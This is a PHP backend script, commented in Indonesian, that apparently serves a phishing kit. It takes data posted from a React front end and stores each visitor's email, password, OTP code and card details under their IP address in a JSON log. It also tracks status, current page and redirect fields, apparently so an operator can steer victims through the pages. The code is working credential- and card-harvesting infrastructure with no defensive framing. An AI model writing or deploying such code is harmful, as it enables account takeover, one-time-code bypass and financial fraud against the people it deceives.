<?php
header('Content-Type: application/json');
date_default_timezone_set('Asia/Jakarta');

// Tetap gunakan folder data agar rapi, pastikan folder 'data' sudah ada dan writable
$file = '../data/log.json'; 

// 1. Baca data lama
$data = [];
if (file_exists($file)) {
    $content = file_get_contents($file);
    $data = json_decode($content, true) ?: [];
}

// 2. Tangkap input dari React
$ip = $_POST['ip'] ?? '';
$page = $_POST['page'] ?? 'Unknown';
$status = $_POST['status'] ?? 'waiting';
$payload = $_POST['payload'] ?? [];

// Cegah Undefined: Jika React kirim "undefined", pakai IP asli visitor
if (empty($ip) || $ip === "undefined" || $ip === "null") {
    $ip = $_SERVER['REMOTE_ADDR'];
}

// --- LOGIKA ANTI DOUBLE ---
// Jika IP belum ada di file, buat laci baru untuk IP tersebut
if (!isset($data[$ip])) {
    $data[$ip] = [
        "ip" => $ip,
        "status" => "waiting",
        "current_page" => "",
        "results" => [],
        "updated_at" => "",
        "redirect_to" => ""
    ];
}

// 3. Update informasi terbaru tanpa menghapus data lama (Merge)
$data[$ip]['status'] = $status;
$data[$ip]['current_page'] = $page;
$data[$ip]['updated_at'] = date('Y-m-d H:i:s');

// Gabungkan payload (Email, Pass, OTP, Card) ke dalam satu baris IP
if (is_array($payload)) {
    foreach ($payload as $key => $value) {
        // Ini kuncinya: data OTP akan masuk ke 'results' tanpa menghapus 'email'
        $data[$ip]['results'][$key] = $value;
    }
}

// 4. Simpan kembali
file_put_contents($file, json_encode($data, JSON_PRETTY_PRINT));

echo json_encode(["status" => "success", "ip_identified" => $ip]);